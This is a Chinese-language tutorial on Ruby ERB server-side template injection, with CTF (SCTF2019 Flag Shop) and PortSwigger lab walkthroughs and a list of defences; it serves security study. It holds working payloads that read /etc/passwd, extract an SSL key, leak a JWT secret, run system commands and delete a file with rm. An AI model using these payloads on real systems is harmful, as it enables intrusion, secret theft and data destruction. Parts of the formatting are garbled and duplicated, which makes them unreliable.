关于Ruby模板的那些事
字数 1235 2025-08-10 23:41:58

Ruby ERB模板注入安全研究

1. 模板引擎概述

1.1 客户端模板引擎

  • 字符串模板引擎:doT.js、dust.js、mustache.js
  • DOM模板引擎:vue.js、Angular.js、React.js

1.2 服务端模板引擎

  • PHP:Smarty、Twig
  • Java:Freemarker、Velocity
  • Python:Jinja2、Tornado、Marko
  • Ruby:Slim、ERB
  • NodeJS:Jade

2. Ruby ERB模板基础

2.1 基本语法

  • <% 写逻辑脚本(Ruby语法) %>
  • <%= 直接输出变量值或运算结果 %>

2.2 基本示例

require 'erb'
template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = 5
puts erb_object.result(binding())

3. ERB模板注入攻击

3.1 攻击方法

  1. 识别模板引擎
  2. 枚举可访问的类/方法
  3. 利用它们获取所需操作(文件读写、命令执行等)

3.2 常见攻击向量

  • 数学运算注入:<%= 7 * 7 %>
  • 文件读取:<%= File.open('test').read %>
  • 方法枚举:<%= self.methods %>

4. Ruby全局变量

变量 描述
$! 错误信息
$@ 错误发生的位置
$0 正在执行的程序的名称
$& 成功匹配的字符串
$/ 输入分隔符,默认为换行符
$\ 输出记录分隔符
$. 上次读取的文件的当前输入行号
$~ 最后一次匹配数据
$' 最后一次匹配后的内容(重要)
`

\[` | Ruby的进程号 | | `$?` | 最后执行的子进程的状态 | | `ENV` | 当前环境变量 | ## 5. 常用Payload ```ruby <%= 7 * 7 %> <%= File.open('/etc/passwd').read %> <%= self %> # 枚举对象可用属性及方法 <%= self.class.name %> # 获取self对象的类名 <%= self.methods %> <%= session.class.name %> <%= self.instance_variables %> <% ssl=@server.instance_variable_get(:@ssl_context) %> <%= ssl.instance_variables %> <% ssl = @server.instance_variable_get(:@ssl_context) %> <%= ssl.instance_variable_get(:@key) %> # 提取key值 ``` ## 6. 实战案例分析 ### 6.1 [SCTF2019]Flag Shop漏洞分析 **漏洞代码片段**: ```ruby get "/work" do islogin auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' } auth = auth[0] unless params[:SECRET].nil? if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}") puts ENV["FLAG"] end end if params[:do] == "#{params[:name][0,7]} is working" then auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10) auth = JWT.encode auth,ENV["SECRET"] , 'HS256' cookies[:auth] = auth ERB::new("").result end end ``` **利用方法**: 1. 利用全局变量`$'`获取最后一次匹配后的内容(即JWT secret) 2. Payload: `work?SECRET=&name=do=is working` ### 6.2 PortSwigger靶场案例 **攻击步骤**: 1. 发现message参数存在ERB模板注入 2. 测试基本注入:`<%=7*7%>` 3. 执行系统命令:`<%=system("whoami")%>` 4. 删除目标文件:`<%=system("rm%20/home/carlos/morale.txt")%>` ## 7. 防御措施 1. 对用户输入进行严格过滤和转义 2. 避免直接将用户输入传递给模板引擎 3. 使用安全的模板渲染方法 4. 限制模板中可以访问的类和方法 5. 定期更新模板引擎到最新版本 ## 8. 总结 Ruby ERB模板注入与常见的SSTI攻击模式一致: 1. 识别模板引擎类型 2. 枚举可访问的类/方法 3. 利用可用方法执行所需操作 安全团队应特别注意敏感信息的泄露问题,尤其是当模板引擎可以访问系统命令或文件操作时。\]

Ruby ERB模板注入安全研究 1. 模板引擎概述 1.1 客户端模板引擎 字符串模板引擎 :doT.js、dust.js、mustache.js DOM模板引擎 :vue.js、Angular.js、React.js 1.2 服务端模板引擎 PHP :Smarty、Twig Java :Freemarker、Velocity Python :Jinja2、Tornado、Marko Ruby :Slim、ERB NodeJS :Jade 2. Ruby ERB模板基础 2.1 基本语法 <% 写逻辑脚本(Ruby语法) %> <%= 直接输出变量值或运算结果 %> 2.2 基本示例 3. ERB模板注入攻击 3.1 攻击方法 识别模板引擎 枚举可访问的类/方法 利用它们获取所需操作(文件读写、命令执行等) 3.2 常见攻击向量 数学运算注入: <%= 7 * 7 %> 文件读取: <%= File.open('test').read %> 方法枚举: <%= self.methods %> 4. Ruby全局变量 | 变量 | 描述 | |------|------| | $! | 错误信息 | | $@ | 错误发生的位置 | | $0 | 正在执行的程序的名称 | | $& | 成功匹配的字符串 | | $/ | 输入分隔符,默认为换行符 | | $\ | 输出记录分隔符 | | $. | 上次读取的文件的当前输入行号 | | $~ | 最后一次匹配数据 | | $' | 最后一次匹配后的内容 (重要) | | $$ | Ruby的进程号 | | $? | 最后执行的子进程的状态 | | ENV | 当前环境变量 | 5. 常用Payload 6. 实战案例分析 6.1 [ SCTF2019 ]Flag Shop漏洞分析 漏洞代码片段 : 利用方法 : 利用全局变量 $' 获取最后一次匹配后的内容(即JWT secret) Payload: work?SECRET=&name=do=is working 6.2 PortSwigger靶场案例 攻击步骤 : 发现message参数存在ERB模板注入 测试基本注入: <%=7*7%> 执行系统命令: <%=system("whoami")%> 删除目标文件: <%=system("rm%20/home/carlos/morale.txt")%> 7. 防御措施 对用户输入进行严格过滤和转义 避免直接将用户输入传递给模板引擎 使用安全的模板渲染方法 限制模板中可以访问的类和方法 定期更新模板引擎到最新版本 8. 总结 Ruby ERB模板注入与常见的SSTI攻击模式一致: 识别模板引擎类型 枚举可访问的类/方法 利用可用方法执行所需操作 安全团队应特别注意敏感信息的泄露问题,尤其是当模板引擎可以访问系统命令或文件操作时。